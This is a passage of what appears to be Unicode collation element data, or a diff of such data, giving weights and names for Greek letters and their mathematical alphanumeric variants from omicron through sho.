; [.1FCD.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL XI -1D763 ; [.1FCD.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL XI -1D79D ; [.1FCD.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL XI -03BF ; [.1FCE.0020.0002] # GREEK SMALL LETTER OMICRON -1D6D0 ; [.1FCE.0020.0005] # MATHEMATICAL BOLD SMALL OMICRON -1D70A ; [.1FCE.0020.0005] # MATHEMATICAL ITALIC SMALL OMICRON -1D744 ; [.1FCE.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL OMICRON -1D77E ; [.1FCE.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL OMICRON -1D7B8 ; [.1FCE.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL OMICRON -039F ; [.1FCE.0020.0008] # GREEK CAPITAL LETTER OMICRON -1D6B6 ; [.1FCE.0020.000B] # MATHEMATICAL BOLD CAPITAL OMICRON -1D6F0 ; [.1FCE.0020.000B] # MATHEMATICAL ITALIC CAPITAL OMICRON -1D72A ; [.1FCE.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL OMICRON -1D764 ; [.1FCE.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL OMICRON -1D79E ; [.1FCE.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL OMICRON -1F40 ; [.1FCE.0020.0002][.0000.0022.0002] # GREEK SMALL LETTER OMICRON WITH PSILI -1F48 ; [.1FCE.0020.0008][.0000.0022.0002] # GREEK CAPITAL LETTER OMICRON WITH PSILI -1F44 ; [.1FCE.0020.0002][.0000.0022.0002][.0000.0024.0002] # GREEK SMALL LETTER OMICRON WITH PSILI AND OXIA -1F4C ; [.1FCE.0020.0008][.0000.0022.0002][.0000.0024.0002] # GREEK CAPITAL LETTER OMICRON WITH PSILI AND OXIA -1F42 ; [.1FCE.0020.0002][.0000.0022.0002][.0000.0025.0002] # GREEK SMALL LETTER OMICRON WITH PSILI AND VARIA -1F4A ; [.1FCE.0020.0008][.0000.0022.0002][.0000.0025.0002] # GREEK CAPITAL LETTER OMICRON WITH PSILI AND VARIA -1F41 ; [.1FCE.0020.0002][.0000.0023.0002] # GREEK SMALL LETTER OMICRON WITH DASIA -1F49 ; [.1FCE.0020.0008][.0000.0023.0002] # GREEK CAPITAL LETTER OMICRON WITH DASIA -1F45 ; [.1FCE.0020.0002][.0000.0023.0002][.0000.0024.0002] # GREEK SMALL LETTER OMICRON WITH DASIA AND OXIA -1F4D ; [.1FCE.0020.0008][.0000.0023.0002][.0000.0024.0002] # GREEK CAPITAL LETTER OMICRON WITH DASIA AND OXIA -1F43 ; [.1FCE.0020.0002][.0000.0023.0002][.0000.0025.0002] # GREEK SMALL LETTER OMICRON WITH DASIA AND VARIA -1F4B ; [.1FCE.0020.0008][.0000.0023.0002][.0000.0025.0002] # GREEK CAPITAL LETTER OMICRON WITH DASIA AND VARIA -03CC ; [.1FCE.0020.0002][.0000.0024.0002] # GREEK SMALL LETTER OMICRON WITH TONOS -1F79 ; [.1FCE.0020.0002][.0000.0024.0002] # GREEK SMALL LETTER OMICRON WITH OXIA -038C ; [.1FCE.0020.0008][.0000.0024.0002] # GREEK CAPITAL LETTER OMICRON WITH TONOS -1FF9 ; [.1FCE.0020.0008][.0000.0024.0002] # GREEK CAPITAL LETTER OMICRON WITH OXIA -1F78 ; [.1FCE.0020.0002][.0000.0025.0002] # GREEK SMALL LETTER OMICRON WITH VARIA -1FF8 ; [.1FCE.0020.0008][.0000.0025.0002] # GREEK CAPITAL LETTER OMICRON WITH VARIA -03C0 ; [.1FCF.0020.0002] # GREEK SMALL LETTER PI -03D6 ; [.1FCF.0020.0004] # GREEK PI SYMBOL -213C ; [.1FCF.0020.0005] # DOUBLE-STRUCK SMALL PI -1D6D1 ; [.1FCF.0020.0005] # MATHEMATICAL BOLD SMALL PI -1D6E1 ; [.1FCF.0020.0005] # MATHEMATICAL BOLD PI SYMBOL -1D70B ; [.1FCF.0020.0005] # MATHEMATICAL ITALIC SMALL PI -1D71B ; [.1FCF.0020.0005] # MATHEMATICAL ITALIC PI SYMBOL -1D745 ; [.1FCF.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL PI -1D755 ; [.1FCF.0020.0005] # MATHEMATICAL BOLD ITALIC PI SYMBOL -1D77F ; [.1FCF.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL PI -1D78F ; [.1FCF.0020.0005] # MATHEMATICAL SANS-SERIF BOLD PI SYMBOL -1D7B9 ; [.1FCF.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL PI -1D7C9 ; [.1FCF.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC PI SYMBOL -03A0 ; [.1FCF.0020.0008] # GREEK CAPITAL LETTER PI -213F ; [.1FCF.0020.000B] # DOUBLE-STRUCK CAPITAL PI -1D6B7 ; [.1FCF.0020.000B] # MATHEMATICAL BOLD CAPITAL PI -1D6F1 ; [.1FCF.0020.000B] # MATHEMATICAL ITALIC CAPITAL PI -1D72B ; [.1FCF.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL PI -1D765 ; [.1FCF.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL PI -1D79F ; [.1FCF.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL PI -1D28 ; [.1FD0.0020.0002] # GREEK LETTER SMALL CAPITAL PI -03FB ; [.1FD1.0020.0002] # GREEK SMALL LETTER SAN -03FA ; [.1FD1.0020.0008] # GREEK CAPITAL LETTER SAN -03DF ; [.1FD2.0020.0002] # GREEK SMALL LETTER KOPPA -03DE ; [.1FD2.0020.0008] # GREEK LETTER KOPPA -03D9 ; [.1FD3.0020.0002] # GREEK SMALL LETTER ARCHAIC KOPPA -03D8 ; [.1FD3.0020.0008] # GREEK LETTER ARCHAIC KOPPA -03C1 ; [.1FD4.0020.0002] # GREEK SMALL LETTER RHO -03F1 ; [.1FD4.0020.0004] # GREEK RHO SYMBOL -1D6D2 ; [.1FD4.0020.0005] # MATHEMATICAL BOLD SMALL RHO -1D6E0 ; [.1FD4.0020.0005] # MATHEMATICAL BOLD RHO SYMBOL -1D70C ; [.1FD4.0020.0005] # MATHEMATICAL ITALIC SMALL RHO -1D71A ; [.1FD4.0020.0005] # MATHEMATICAL ITALIC RHO SYMBOL -1D746 ; [.1FD4.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL RHO -1D754 ; [.1FD4.0020.0005] # MATHEMATICAL BOLD ITALIC RHO SYMBOL -1D780 ; [.1FD4.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL RHO -1D78E ; [.1FD4.0020.0005] # MATHEMATICAL SANS-SERIF BOLD RHO SYMBOL -1D7BA ; [.1FD4.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL RHO -1D7C8 ; [.1FD4.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC RHO SYMBOL -03A1 ; [.1FD4.0020.0008] # GREEK CAPITAL LETTER RHO -1D6B8 ; [.1FD4.0020.000B] # MATHEMATICAL BOLD CAPITAL RHO -1D6F2 ; [.1FD4.0020.000B] # MATHEMATICAL ITALIC CAPITAL RHO -1D72C ; [.1FD4.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL RHO -1D766 ; [.1FD4.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL RHO -1D7A0 ; [.1FD4.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL RHO -1D68 ; [.1FD4.0020.0015] # GREEK SUBSCRIPT SMALL LETTER RHO -1FE4 ; [.1FD4.0020.0002][.0000.0022.0002] # GREEK SMALL LETTER RHO WITH PSILI -1FE5 ; [.1FD4.0020.0002][.0000.0023.0002] # GREEK SMALL LETTER RHO WITH DASIA -1FEC ; [.1FD4.0020.0008][.0000.0023.0002] # GREEK CAPITAL LETTER RHO WITH DASIA -1D29 ; [.1FD5.0020.0002] # GREEK LETTER SMALL CAPITAL RHO -03FC ; [.1FD6.0020.0002] # GREEK RHO WITH STROKE SYMBOL -03C3 ; [.1FD7.0020.0002] # GREEK SMALL LETTER SIGMA -03F2 ; [.1FD7.0020.0004] # GREEK LUNATE SIGMA SYMBOL -1D6D3 ; [.1FD7.0020.0005] # MATHEMATICAL BOLD SMALL FINAL SIGMA -1D6D4 ; [.1FD7.0020.0005] # MATHEMATICAL BOLD SMALL SIGMA -1D70D ; [.1FD7.0020.0005] # MATHEMATICAL ITALIC SMALL FINAL SIGMA -1D70E ; [.1FD7.0020.0005] # MATHEMATICAL ITALIC SMALL SIGMA -1D747 ; [.1FD7.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL FINAL SIGMA -1D748 ; [.1FD7.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL SIGMA -1D781 ; [.1FD7.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL FINAL SIGMA -1D782 ; [.1FD7.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL SIGMA -1D7BB ; [.1FD7.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL FINAL SIGMA -1D7BC ; [.1FD7.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL SIGMA -03A3 ; [.1FD7.0020.0008] # GREEK CAPITAL LETTER SIGMA -03F9 ; [.1FD7.0020.000A] # GREEK CAPITAL LUNATE SIGMA SYMBOL -1D6BA ; [.1FD7.0020.000B] # MATHEMATICAL BOLD CAPITAL SIGMA -1D6F4 ; [.1FD7.0020.000B] # MATHEMATICAL ITALIC CAPITAL SIGMA -1D72E ; [.1FD7.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL SIGMA -1D768 ; [.1FD7.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL SIGMA -1D7A2 ; [.1FD7.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL SIGMA -03C2 ; [.1FD7.0020.0019] # GREEK SMALL LETTER FINAL SIGMA -037C ; [.1FD8.0020.0002] # GREEK SMALL DOTTED LUNATE SIGMA SYMBOL -03FE ; [.1FD8.0020.0008] # GREEK CAPITAL DOTTED LUNATE SIGMA SYMBOL -037B ; [.1FD9.0020.0002] # GREEK SMALL REVERSED LUNATE SIGMA SYMBOL -03FD ; [.1FD9.0020.0008] # GREEK CAPITAL REVERSED LUNATE SIGMA SYMBOL -037D ; [.1FDA.0020.0002] # GREEK SMALL REVERSED DOTTED LUNATE SIGMA SYMBOL -03FF ; [.1FDA.0020.0008] # GREEK CAPITAL REVERSED DOTTED LUNATE SIGMA SYMBOL -03C4 ; [.1FDB.0020.0002] # GREEK SMALL LETTER TAU -1D6D5 ; [.1FDB.0020.0005] # MATHEMATICAL BOLD SMALL TAU -1D70F ; [.1FDB.0020.0005] # MATHEMATICAL ITALIC SMALL TAU -1D749 ; [.1FDB.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL TAU -1D783 ; [.1FDB.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL TAU -1D7BD ; [.1FDB.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL TAU -03A4 ; [.1FDB.0020.0008] # GREEK CAPITAL LETTER TAU -1D6BB ; [.1FDB.0020.000B] # MATHEMATICAL BOLD CAPITAL TAU -1D6F5 ; [.1FDB.0020.000B] # MATHEMATICAL ITALIC CAPITAL TAU -1D72F ; [.1FDB.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL TAU -1D769 ; [.1FDB.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL TAU -1D7A3 ; [.1FDB.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL TAU -03C5 ; [.1FDC.0020.0002] # GREEK SMALL LETTER UPSILON -1D6D6 ; [.1FDC.0020.0005] # MATHEMATICAL BOLD SMALL UPSILON -1D710 ; [.1FDC.0020.0005] # MATHEMATICAL ITALIC SMALL UPSILON -1D74A ; [.1FDC.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL UPSILON -1D784 ; [.1FDC.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL UPSILON -1D7BE ; [.1FDC.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL UPSILON -03A5 ; [.1FDC.0020.0008] # GREEK CAPITAL LETTER UPSILON -03D2 ; [.1FDC.0020.000A] # GREEK UPSILON WITH HOOK SYMBOL -1D6BC ; [.1FDC.0020.000B] # MATHEMATICAL BOLD CAPITAL UPSILON -1D6F6 ; [.1FDC.0020.000B] # MATHEMATICAL ITALIC CAPITAL UPSILON -1D730 ; [.1FDC.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL UPSILON -1D76A ; [.1FDC.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL UPSILON -1D7A4 ; [.1FDC.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL UPSILON -1F50 ; [.1FDC.0020.0002][.0000.0022.0002] # GREEK SMALL LETTER UPSILON WITH PSILI -1F54 ; [.1FDC.0020.0002][.0000.0022.0002][.0000.0024.0002] # GREEK SMALL LETTER UPSILON WITH PSILI AND OXIA -1F52 ; [.1FDC.0020.0002][.0000.0022.0002][.0000.0025.0002] # GREEK SMALL LETTER UPSILON WITH PSILI AND VARIA -1F56 ; [.1FDC.0020.0002][.0000.0022.0002][.0000.002A.0002] # GREEK SMALL LETTER UPSILON WITH PSILI AND PERISPOMENI -1F51 ; [.1FDC.0020.0002][.0000.0023.0002] # GREEK SMALL LETTER UPSILON WITH DASIA -1F59 ; [.1FDC.0020.0008][.0000.0023.0002] # GREEK CAPITAL LETTER UPSILON WITH DASIA -1F55 ; [.1FDC.0020.0002][.0000.0023.0002][.0000.0024.0002] # GREEK SMALL LETTER UPSILON WITH DASIA AND OXIA -1F5D ; [.1FDC.0020.0008][.0000.0023.0002][.0000.0024.0002] # GREEK CAPITAL LETTER UPSILON WITH DASIA AND OXIA -1F53 ; [.1FDC.0020.0002][.0000.0023.0002][.0000.0025.0002] # GREEK SMALL LETTER UPSILON WITH DASIA AND VARIA -1F5B ; [.1FDC.0020.0008][.0000.0023.0002][.0000.0025.0002] # GREEK CAPITAL LETTER UPSILON WITH DASIA AND VARIA -1F57 ; [.1FDC.0020.0002][.0000.0023.0002][.0000.002A.0002] # GREEK SMALL LETTER UPSILON WITH DASIA AND PERISPOMENI -1F5F ; [.1FDC.0020.0008][.0000.0023.0002][.0000.002A.0002] # GREEK CAPITAL LETTER UPSILON WITH DASIA AND PERISPOMENI -03CD ; [.1FDC.0020.0002][.0000.0024.0002] # GREEK SMALL LETTER UPSILON WITH TONOS -1F7B ; [.1FDC.0020.0002][.0000.0024.0002] # GREEK SMALL LETTER UPSILON WITH OXIA -038E ; [.1FDC.0020.0008][.0000.0024.0002] # GREEK CAPITAL LETTER UPSILON WITH TONOS -1FEB ; [.1FDC.0020.0008][.0000.0024.0002] # GREEK CAPITAL LETTER UPSILON WITH OXIA -03D3 ; [.1FDC.0020.000A][.0000.0024.0002] # GREEK UPSILON WITH ACUTE AND HOOK SYMBOL -1F7A ; [.1FDC.0020.0002][.0000.0025.0002] # GREEK SMALL LETTER UPSILON WITH VARIA -1FEA ; [.1FDC.0020.0008][.0000.0025.0002] # GREEK CAPITAL LETTER UPSILON WITH VARIA -1FE0 ; [.1FDC.0020.0002][.0000.0026.0002] # GREEK SMALL LETTER UPSILON WITH VRACHY -1FE8 ; [.1FDC.0020.0008][.0000.0026.0002] # GREEK CAPITAL LETTER UPSILON WITH VRACHY -1FE6 ; [.1FDC.0020.0002][.0000.002A.0002] # GREEK SMALL LETTER UPSILON WITH PERISPOMENI -03CB ; [.1FDC.0020.0002][.0000.002B.0002] # GREEK SMALL LETTER UPSILON WITH DIALYTIKA -03AB ; [.1FDC.0020.0008][.0000.002B.0002] # GREEK CAPITAL LETTER UPSILON WITH DIALYTIKA -03D4 ; [.1FDC.0020.000A][.0000.002B.0002] # GREEK UPSILON WITH DIAERESIS AND HOOK SYMBOL -03B0 ; [.1FDC.0020.0002][.0000.002B.0002][.0000.0024.0002] # GREEK SMALL LETTER UPSILON WITH DIALYTIKA AND TONOS -1FE3 ; [.1FDC.0020.0002][.0000.002B.0002][.0000.0024.0002] # GREEK SMALL LETTER UPSILON WITH DIALYTIKA AND OXIA -1FE2 ; [.1FDC.0020.0002][.0000.002B.0002][.0000.0025.0002] # GREEK SMALL LETTER UPSILON WITH DIALYTIKA AND VARIA -1FE7 ; [.1FDC.0020.0002][.0000.002B.0002][.0000.002A.0002] # GREEK SMALL LETTER UPSILON WITH DIALYTIKA AND PERISPOMENI -1FE1 ; [.1FDC.0020.0002][.0000.0032.0002] # GREEK SMALL LETTER UPSILON WITH MACRON -1FE9 ; [.1FDC.0020.0008][.0000.0032.0002] # GREEK CAPITAL LETTER UPSILON WITH MACRON -03C6 ; [.1FDD.0020.0002] # GREEK SMALL LETTER PHI -03D5 ; [.1FDD.0020.0004] # GREEK PHI SYMBOL -1D6D7 ; [.1FDD.0020.0005] # MATHEMATICAL BOLD SMALL PHI -1D6DF ; [.1FDD.0020.0005] # MATHEMATICAL BOLD PHI SYMBOL -1D711 ; [.1FDD.0020.0005] # MATHEMATICAL ITALIC SMALL PHI -1D719 ; [.1FDD.0020.0005] # MATHEMATICAL ITALIC PHI SYMBOL -1D74B ; [.1FDD.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL PHI -1D753 ; [.1FDD.0020.0005] # MATHEMATICAL BOLD ITALIC PHI SYMBOL -1D785 ; [.1FDD.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL PHI -1D78D ; [.1FDD.0020.0005] # MATHEMATICAL SANS-SERIF BOLD PHI SYMBOL -1D7BF ; [.1FDD.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL PHI -1D7C7 ; [.1FDD.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC PHI SYMBOL -03A6 ; [.1FDD.0020.0008] # GREEK CAPITAL LETTER PHI -1D6BD ; [.1FDD.0020.000B] # MATHEMATICAL BOLD CAPITAL PHI -1D6F7 ; [.1FDD.0020.000B] # MATHEMATICAL ITALIC CAPITAL PHI -1D731 ; [.1FDD.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL PHI -1D76B ; [.1FDD.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL PHI -1D7A5 ; [.1FDD.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL PHI -1D60 ; [.1FDD.0020.0014] # MODIFIER LETTER SMALL GREEK PHI -1D69 ; [.1FDD.0020.0015] # GREEK SUBSCRIPT SMALL LETTER PHI -03C7 ; [.1FDE.0020.0002] # GREEK SMALL LETTER CHI -1D6D8 ; [.1FDE.0020.0005] # MATHEMATICAL BOLD SMALL CHI -1D712 ; [.1FDE.0020.0005] # MATHEMATICAL ITALIC SMALL CHI -1D74C ; [.1FDE.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL CHI -1D786 ; [.1FDE.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL CHI -1D7C0 ; [.1FDE.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL CHI -03A7 ; [.1FDE.0020.0008] # GREEK CAPITAL LETTER CHI -1D6BE ; [.1FDE.0020.000B] # MATHEMATICAL BOLD CAPITAL CHI -1D6F8 ; [.1FDE.0020.000B] # MATHEMATICAL ITALIC CAPITAL CHI -1D732 ; [.1FDE.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL CHI -1D76C ; [.1FDE.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL CHI -1D7A6 ; [.1FDE.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL CHI -1D61 ; [.1FDE.0020.0014] # MODIFIER LETTER SMALL CHI -1D6A ; [.1FDE.0020.0015] # GREEK SUBSCRIPT SMALL LETTER CHI -03C8 ; [.1FDF.0020.0002] # GREEK SMALL LETTER PSI -1D6D9 ; [.1FDF.0020.0005] # MATHEMATICAL BOLD SMALL PSI -1D713 ; [.1FDF.0020.0005] # MATHEMATICAL ITALIC SMALL PSI -1D74D ; [.1FDF.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL PSI -1D787 ; [.1FDF.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL PSI -1D7C1 ; [.1FDF.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL PSI -03A8 ; [.1FDF.0020.0008] # GREEK CAPITAL LETTER PSI -1D6BF ; [.1FDF.0020.000B] # MATHEMATICAL BOLD CAPITAL PSI -1D6F9 ; [.1FDF.0020.000B] # MATHEMATICAL ITALIC CAPITAL PSI -1D733 ; [.1FDF.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL PSI -1D76D ; [.1FDF.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL PSI -1D7A7 ; [.1FDF.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL PSI -1D2A ; [.1FE0.0020.0002] # GREEK LETTER SMALL CAPITAL PSI -03C9 ; [.1FE1.0020.0002] # GREEK SMALL LETTER OMEGA -1D6DA ; [.1FE1.0020.0005] # MATHEMATICAL BOLD SMALL OMEGA -1D714 ; [.1FE1.0020.0005] # MATHEMATICAL ITALIC SMALL OMEGA -1D74E ; [.1FE1.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL OMEGA -1D788 ; [.1FE1.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL OMEGA -1D7C2 ; [.1FE1.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL OMEGA -03A9 ; [.1FE1.0020.0008] # GREEK CAPITAL LETTER OMEGA -2126 ; [.1FE1.0020.0008] # OHM SIGN -1D6C0 ; [.1FE1.0020.000B] # MATHEMATICAL BOLD CAPITAL OMEGA -1D6FA ; [.1FE1.0020.000B] # MATHEMATICAL ITALIC CAPITAL OMEGA -1D734 ; [.1FE1.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL OMEGA -1D76E ; [.1FE1.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL OMEGA -1D7A8 ; [.1FE1.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL OMEGA -1F60 ; [.1FE1.0020.0002][.0000.0022.0002] # GREEK SMALL LETTER OMEGA WITH PSILI -1F68 ; [.1FE1.0020.0008][.0000.0022.0002] # GREEK CAPITAL LETTER OMEGA WITH PSILI -1F64 ; [.1FE1.0020.0002][.0000.0022.0002][.0000.0024.0002] # GREEK SMALL LETTER OMEGA WITH PSILI AND OXIA -1F6C ; [.1FE1.0020.0008][.0000.0022.0002][.0000.0024.0002] # GREEK CAPITAL LETTER OMEGA WITH PSILI AND OXIA -1FA4 ; [.1FE1.0020.0002][.0000.0022.0002][.0000.0024.0002][.0000.004C.0002] # GREEK SMALL LETTER OMEGA WITH PSILI AND OXIA AND YPOGEGRAMMENI -1FAC ; [.1FE1.0020.0008][.0000.0022.0002][.0000.0024.0002][.0000.004C.0002] # GREEK CAPITAL LETTER OMEGA WITH PSILI AND OXIA AND PROSGEGRAMMENI -1F62 ; [.1FE1.0020.0002][.0000.0022.0002][.0000.0025.0002] # GREEK SMALL LETTER OMEGA WITH PSILI AND VARIA -1F6A ; [.1FE1.0020.0008][.0000.0022.0002][.0000.0025.0002] # GREEK CAPITAL LETTER OMEGA WITH PSILI AND VARIA -1FA2 ; [.1FE1.0020.0002][.0000.0022.0002][.0000.0025.0002][.0000.004C.0002] # GREEK SMALL LETTER OMEGA WITH PSILI AND VARIA AND YPOGEGRAMMENI -1FAA ; [.1FE1.0020.0008][.0000.0022.0002][.0000.0025.0002][.0000.004C.0002] # GREEK CAPITAL LETTER OMEGA WITH PSILI AND VARIA AND PROSGEGRAMMENI -1F66 ; [.1FE1.0020.0002][.0000.0022.0002][.0000.002A.0002] # GREEK SMALL LETTER OMEGA WITH PSILI AND PERISPOMENI -1F6E ; [.1FE1.0020.0008][.0000.0022.0002][.0000.002A.0002] # GREEK CAPITAL LETTER OMEGA WITH PSILI AND PERISPOMENI -1FA6 ; [.1FE1.0020.0002][.0000.0022.0002][.0000.002A.0002][.0000.004C.0002] # GREEK SMALL LETTER OMEGA WITH PSILI AND PERISPOMENI AND YPOGEGRAMMENI -1FAE ; [.1FE1.0020.0008][.0000.0022.0002][.0000.002A.0002][.0000.004C.0002] # GREEK CAPITAL LETTER OMEGA WITH PSILI AND PERISPOMENI AND PROSGEGRAMMENI -1FA0 ; [.1FE1.0020.0002][.0000.0022.0002][.0000.004C.0002] # GREEK SMALL LETTER OMEGA WITH PSILI AND YPOGEGRAMMENI -1FA8 ; [.1FE1.0020.0008][.0000.0022.0002][.0000.004C.0002] # GREEK CAPITAL LETTER OMEGA WITH PSILI AND PROSGEGRAMMENI -1F61 ; [.1FE1.0020.0002][.0000.0023.0002] # GREEK SMALL LETTER OMEGA WITH DASIA -1F69 ; [.1FE1.0020.0008][.0000.0023.0002] # GREEK CAPITAL LETTER OMEGA WITH DASIA -1F65 ; [.1FE1.0020.0002][.0000.0023.0002][.0000.0024.0002] # GREEK SMALL LETTER OMEGA WITH DASIA AND OXIA -1F6D ; [.1FE1.0020.0008][.0000.0023.0002][.0000.0024.0002] # GREEK CAPITAL LETTER OMEGA WITH DASIA AND OXIA -1FA5 ; [.1FE1.0020.0002][.0000.0023.0002][.0000.0024.0002][.0000.004C.0002] # GREEK SMALL LETTER OMEGA WITH DASIA AND OXIA AND YPOGEGRAMMENI -1FAD ; [.1FE1.0020.0008][.0000.0023.0002][.0000.0024.0002][.0000.004C.0002] # GREEK CAPITAL LETTER OMEGA WITH DASIA AND OXIA AND PROSGEGRAMMENI -1F63 ; [.1FE1.0020.0002][.0000.0023.0002][.0000.0025.0002] # GREEK SMALL LETTER OMEGA WITH DASIA AND VARIA -1F6B ; [.1FE1.0020.0008][.0000.0023.0002][.0000.0025.0002] # GREEK CAPITAL LETTER OMEGA WITH DASIA AND VARIA -1FA3 ; [.1FE1.0020.0002][.0000.0023.0002][.0000.0025.0002][.0000.004C.0002] # GREEK SMALL LETTER OMEGA WITH DASIA AND VARIA AND YPOGEGRAMMENI -1FAB ; [.1FE1.0020.0008][.0000.0023.0002][.0000.0025.0002][.0000.004C.0002] # GREEK CAPITAL LETTER OMEGA WITH DASIA AND VARIA AND PROSGEGRAMMENI -1F67 ; [.1FE1.0020.0002][.0000.0023.0002][.0000.002A.0002] # GREEK SMALL LETTER OMEGA WITH DASIA AND PERISPOMENI -1F6F ; [.1FE1.0020.0008][.0000.0023.0002][.0000.002A.0002] # GREEK CAPITAL LETTER OMEGA WITH DASIA AND PERISPOMENI -1FA7 ; [.1FE1.0020.0002][.0000.0023.0002][.0000.002A.0002][.0000.004C.0002] # GREEK SMALL LETTER OMEGA WITH DASIA AND PERISPOMENI AND YPOGEGRAMMENI -1FAF ; [.1FE1.0020.0008][.0000.0023.0002][.0000.002A.0002][.0000.004C.0002] # GREEK CAPITAL LETTER OMEGA WITH DASIA AND PERISPOMENI AND PROSGEGRAMMENI -1FA1 ; [.1FE1.0020.0002][.0000.0023.0002][.0000.004C.0002] # GREEK SMALL LETTER OMEGA WITH DASIA AND YPOGEGRAMMENI -1FA9 ; [.1FE1.0020.0008][.0000.0023.0002][.0000.004C.0002] # GREEK CAPITAL LETTER OMEGA WITH DASIA AND PROSGEGRAMMENI -03CE ; [.1FE1.0020.0002][.0000.0024.0002] # GREEK SMALL LETTER OMEGA WITH TONOS -1F7D ; [.1FE1.0020.0002][.0000.0024.0002] # GREEK SMALL LETTER OMEGA WITH OXIA -038F ; [.1FE1.0020.0008][.0000.0024.0002] # GREEK CAPITAL LETTER OMEGA WITH TONOS -1FFB ; [.1FE1.0020.0008][.0000.0024.0002] # GREEK CAPITAL LETTER OMEGA WITH OXIA -1FF4 ; [.1FE1.0020.0002][.0000.0024.0002][.0000.004C.0002] # GREEK SMALL LETTER OMEGA WITH OXIA AND YPOGEGRAMMENI -1F7C ; [.1FE1.0020.0002][.0000.0025.0002] # GREEK SMALL LETTER OMEGA WITH VARIA -1FFA ; [.1FE1.0020.0008][.0000.0025.0002] # GREEK CAPITAL LETTER OMEGA WITH VARIA -1FF2 ; [.1FE1.0020.0002][.0000.0025.0002][.0000.004C.0002] # GREEK SMALL LETTER OMEGA WITH VARIA AND YPOGEGRAMMENI -1FF6 ; [.1FE1.0020.0002][.0000.002A.0002] # GREEK SMALL LETTER OMEGA WITH PERISPOMENI -1FF7 ; [.1FE1.0020.0002][.0000.002A.0002][.0000.004C.0002] # GREEK SMALL LETTER OMEGA WITH PERISPOMENI AND YPOGEGRAMMENI -1FF3 ; [.1FE1.0020.0002][.0000.004C.0002] # GREEK SMALL LETTER OMEGA WITH YPOGEGRAMMENI -1FFC ; [.1FE1.0020.0008][.0000.004C.0002] # GREEK CAPITAL LETTER OMEGA WITH PROSGEGRAMMENI -AB65 ; [.1FE2.0020.0002] # GREEK LETTER SMALL CAPITAL OMEGA -03E1 ; [.1FE3.0020.0002] # GREEK SMALL LETTER SAMPI -03E0 ; [.1FE3.0020.0008] # GREEK LETTER SAMPI -0373 ; [.1FE4.0020.0002] # GREEK SMALL LETTER ARCHAIC SAMPI -0372 ; [.1FE4.0020.0008] # GREEK CAPITAL LETTER ARCHAIC SAMPI -03F8 ; [.1FE5.0020.0002] # GREEK SMALL LETTER SHO -03F7 ; 